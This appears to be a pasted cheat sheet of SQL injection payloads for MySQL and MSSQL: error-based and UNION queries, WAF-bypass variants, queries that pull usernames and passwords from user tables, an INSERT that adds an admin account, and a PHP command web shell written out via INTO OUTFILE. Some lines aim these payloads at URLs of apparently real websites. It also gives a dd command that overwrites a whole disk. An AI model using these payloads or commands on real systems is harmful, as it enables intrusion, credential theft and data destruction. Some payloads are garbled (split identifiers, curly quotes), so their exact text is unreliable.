  631. concat(0x7e,0×27,cast(schema_name as char),0×27,0x7e) FROM information_schema.schemata LIMIT N,1)) from
  632. information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
  633.  
  634. and(select 1 from(select count(*),concat((select (select (SELECT distinct
  635. concat(0x7e,0×27,cast(table_name as char),0×27,0x7e) FROM information_schema.tables Where
  636. table_schema=0xhex_code_of_database_name LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
  637. information_schema.tables group by x)a) and 1
  638. ===================================================================================================================================
  639. WUBI +and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from+iw_users+limit+0,1)))–+
  640. ===================================================================================================================================
  641.  
  642. Descarci orice linux live, bootezi dupa el si formatezi cu dd+urandom. De acolo nu mai recupereaza NIMENI ceva.
  643. Code: dd if=/dev/urandom of=/dev/sda bs=1M
  644.  
  645. I’d say using concat(0xY)
  646.  
  647. Y being ‘’ in hex
  648. union select concat(version,0x3c7363726970743e616c6572742827706833776c27293c2f7363726970743e)
  649.  
  650. http://zerocoolhf.altervista.org/level2.php…–+
  651.  
  652. union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=concat(’0x’, hex(‘users’)
  653.  
  654. =113′+and+0+union+select+1,(SELECT (@) FROM (SELECT(@:=0×00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x3C7363726970743E616C6572742827,’ [ ',table_schema,' ] >’,table_name,’ > ‘,column_name,0x27293B3C2F7363726970743E))))x),3–+–
  655.  
  656. injection in sql database addd new user
  657. INSERT INTO admins (`name`,`password`,`email`) VALUES (‘unix’,'unixunix’,'unix_chro@yahoo.com’)
  658.  
  659. +and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_nam e+as+char),0x7e))+from+information_schema.tables+where+table_schema=0xDATABASEHE X+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
  660.  
  661. CHALLENGES
  662.  
  663. Code:
  664. =(13)and(0)union(select(1),group_concat(column_name,0x3c62723e),(3)from(information_schema.columns)where(table_schema=database())and(table_name=0×7365637572697479))–+-
  665. =12+and+false/*!union*/ /*!select*/1,group_concat(0x3c62723e,/*!TabLe_NaMe*/),2,concat(user(),0x2a,database(),0x2a,version()),13,0x3c666f6e7420636f6c6f723d626c75653e3c68323e706833776c,15 from information_schema.tables where table_schema=0x66616272697a696f5f636572697070 LiMit 0,1–
  666. =/*!uNiOn*/ /*!SeLeCt*/ 1,concat(/*!version(),0x3a,0x3a,AdMinLoGiN,0x3a,0x3a*/),3 /*!fRoM*/ security–
  667. =121)+and(0)+/*!uNion*/+/*!seleCt*/+1,2,3,4,version(),6,7– -
  668. =121)/**/and false UNION(SELECT 1,2,3,4,5,6,7)–+-
  669. =121 div 0 ) /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,version()# |
  670. null’+union+select+1,2,count(schema_name),4,5+from+information_schema.schemata– x
  671. ===================================================================================================================================
  672. Error Based:
  673. ===================================================================================================================================
  674. +or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1–
  675.  
  676. or 1 group by concat(0x3a,(select substr(group_concat(username,0x3a,password),1,150)
  677.  
  678. from rmdsz_user),floor(rand(0)*2)) having min(0) or 1– -
  679. or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1 — -
  680.  
  681. and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  682.  
  683. +AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2)))
  684.  
  685. +and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3)x+group+by+concat(mid((select+concat_ws(0x7e,version(),0x7e)+from+information_ schema.tables+limit+0,1),1,25),floor(rand(0)*2)))a)– x
  686.  
  687. or 1=convert(int,(@@version))-
  688. +or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1–
  689. +and+(select+1+from+(select+count(*),concat((select(select+concat(c ast(count(schema_name)+as+char),0x7e))+from+information_schema.schemata+limit+0, 1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
  690.  
  691. (42)and(0)union(select(1),2,version(),4,5,0x3c623e3c666f6e7420636f6c6f723d626c75653e706833776c,7,8,9,(10))–+-
  692. ===================================================================================================================================
  693. WAF BYPASS BY TOTTI
  694. ===================================================================================================================================
  695.  
  696. =-2/*1337*/UNION/*1337*/(SELECT/*1337*/1337,concat_ws(0x203a20,0x746f7474693933,table_nam e)/*1337*/FROM/*1337*/INFORMATION_SCHEMA./*!TABLES*//*1337*/WHERE/*1337*/TABLE_SCHEMA=database())– -
  697.  
  698. =2+and(0)+union+distinctROW+select+1,/*!50000CoNcaT*/(0x706833776c,0x3a,table_name) /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()– -
  699.  
  700. ===================================================================================================================================
  701. WUBI – 1,(select(@x)from(select(@x:=0×00),(select(0)from(information_schema.columns)where(table_schema!=0×69)and(0×00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2020203d3e3e202020,table_name,0x20203a3a3a32020,column_name))))x),3,4–
  702.  
  703. (select (@) from (select(@:=0×00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0a,’ [ ',table_schema,' ] >’,table_name,’ > ‘,column_name))))x)
  704. (select (@) from (select (@x:=0×00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)
  705.  
  706. (select (@) from (select (@x:=0×00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)
  707. ===================================================================================================================================
  708.  
  709. +and+1=convert(int,SERVERPROPERTY(‘ProductVersion’))
  710. ===================================================================================================================================
  711.  
  712. http://zerofreak.blogspot.it/…/tutorial-by-zer0freak-zer0fr…
  713.  
  714. http://www.websec.ca/kb/sql_injection
  715.  
  716. http://www.hellboundhackers.org/…/862-mysql-injection-compl…
  717.  
  718. ===================================================================================================================================
  719. test
  720.  
  721. http://www.mt.ro/nou/articol.php?id=-angajari’+and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from+iw_users+limit+0,1)))–+
  722.  
  723. …………………………………..
  724. http://www.mt.ro/nou/articol.php?id=-angajari’ and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=0x64625f6d74 limit 10,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
  725.  
  726. SELECT “ system($_REQUEST['cmd']); ?>”
  727. INTO OUTFILE “full/path/here/cmd.php”
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement